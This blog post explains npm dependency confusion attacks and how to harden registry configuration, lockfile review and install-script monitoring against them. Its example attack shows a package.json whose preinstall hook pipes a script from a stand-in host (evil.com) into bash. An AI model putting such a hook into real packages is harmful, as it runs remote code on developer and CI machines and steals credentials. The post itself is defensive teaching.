Dependency confusion in npm: Why your private registry isn't enough

Kaan YagciKaan Yagci
4 min read

The real risk: What most teams miss

When you run npm install, npm pulls packages from the registry you have configured in your .npmrc file. By default, that's the public npm registry. But here's what most devs (and even many leads) miss:

Most private registries (Nexus, Artifactory, Verdaccio, GitHub Packages, etc.) are configured to proxy the public npm registry.

This is meant to make the developer experience seamless: you can fetch both internal and public packages with one command, without changing any configs.

But this convenience comes with a hidden risk.

If you haven't strictly scoped your internal packages, or if your private registry allows fallback to public, you could end up installing code from the public registry, even when you think you're only using internal packages.

What is dependency confusion?

Dependency confusion is an attack technique where a malicious actor publishes a package to the public npm registry using the exact same name as your internal package.

If your tooling or registry configuration isn't locked down, your pipeline or developer machine may install the attacker’s public package instead of your intended private one.

This isn’t theoretical.

This is exactly how multiple Fortune 500 companies, including Apple, Microsoft, and Tesla, were breached in the wild.

How does dependency confusion work?

Imagine your org uses a private package called @acme/utils and you install it as usual. If an attacker publishes a public package with the same name (@acme/utils) to npmjs.com, and your config isn’t locked down, npm (or your proxy registry) might resolve and install the attacker’s package instead.

This can happen when:

  • Internal packages aren’t correctly scoped in .npmrc

  • The private registry is set up to proxy public by default, with no block list for internal names.

  • Lockfiles are ignored, or devs install dependencies without verifying sources.

Example Attack

  1. Attacker registers a package

    @acme/utils on the public npm registry, containing a malicious payload in a lifecycle script:

      {
       "name": "@acme/utils",
       "version": "999.0.0",
       "scripts": {
         "preinstall": "curl https://evil.com/payload.sh | bash"
       }
     }
    
  2. An unsuspecting developer or CI pipeline installs dependencies.

  3. The public package is installed instead of the internal one.

    Malicious code executes instantly, stealing environment variables, credentials, or worse.

Why does this happen? (How npm registry resolution works)

npm determines where to fetch packages from based on your configuration:

  • Scoped registries: If your .npmrc has @yourorg:registry=..., all packages with that scope will be fetched only from that registry.

  • Global registry: If no scoped registry is defined, npm uses the global registry setting (https://registry.npmjs.org/ by default).

  • Proxy registries: Most enterprise setups use a proxy (Nexus, Artifactory, Verdaccio) to make both internal and public packages available in one place.

    • If a package isn’t found internally, the proxy can fetch it from the public registry—unless explicitly blocked.

Misconfiguration or missing scoping is what allows dependency confusion.

How to defend against dependency confusion

  1. Lock down your registry config

    • Explicitly scope internal packages in .npmrc:

        @yourorg:registry=https://npm.yourcompany.internal/
        always-auth=true
        //npm.yourcompany.internal/:_authToken=${NPM_TOKEN}
        registry=https://registry.npmjs.org
      
    • In your proxy registry (Nexus, Artifactory, etc.), block public resolution for internal names.

      • Maintain a blocklist of internal package names that are never fetched from public.
  2. Avoid ambiguous or generic package names

    • Don’t use names like utils, core, or api for internal-only packages.

    • Use explicit org-level scopes (e.g., @acme/utils).

  3. Regularly audit what’s being installed.

    • Review package-lock.json / yarn.lock / pnp-lock.yaml files for unexpected sources or versions.

    • Enforce PR checks to ensure lockfiles are up-to-date and review

Monitor public registries

  • Regularly check npmjs.com for typosquatting or name collisions on your internal package names.

  • Consider “squatting” your internal names on public even if you never intend to publish code there

Detection tips: How to catch attacks and misconfiguration

  • Check install logs:

    • Look for packages being fetched from the public registry when you expect private.

    • Example:

        npm notice Fetching @yourorg/utils@latest from https://registry.npmjs.org/
      
  • Audit your lock files:

    • Manually or automatically inspect package-lock.json or yarn.lock or pnpm-lock.yaml for any dependencies from unexpected registries.
  • Set up CI/CD alerts:

    • Automatically flag if a package is pulled from a registry you didn’t approve.

    • Reject builds if lockfiles change without review.

  • Monitor install scripts:

    • Any unexpected preinstall, install, or postinstall script is a red flag.

Hardened example: Secure .npmrc for internal packages

@acme:registry=https://npm.acme.internal/
always-auth=true
//npm.acme.internal/:_authToken=${NPM_TOKEN}
registry=https://registry.npmjs.org/

For proxy registries (Nexus, Verdaccio, Artifactory):

  • Block public resolution for internal scopes

  • Maintain a list of reserved internal package names

  • Require all internal publishes to be authenticated and reviewed

Security is a Mindset, Not a Plugin

Your org isn’t safe just because you use private packages or a self-hosted registry.

  • Stop trusting defaults.

  • Read your .npmrc.

  • Audit your pipeline.

  • Review what’s installed and from where, every single time.

Dependency confusion is simple to exploit, but just as simple to prevent, if you know what to look for.


Questions or want help hardening your setup?
Drop a comment or reach out, let’s make supply chains safer for everyone.

0
Subscribe to my newsletter

Read articles from Kaan Yagci directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Kaan Yagci
Kaan Yagci

Senior Platform Engineer. Infra and programming languages nerd. I write about the stuff nobody teaches: how things really work under the hood, containers, orchestration, authentication, scaling, debugging, and what actually matters when you’re building and running real systems. I share what I wish more real seniors did: the brutal, unfiltered truth about building secure and reliable systems in production.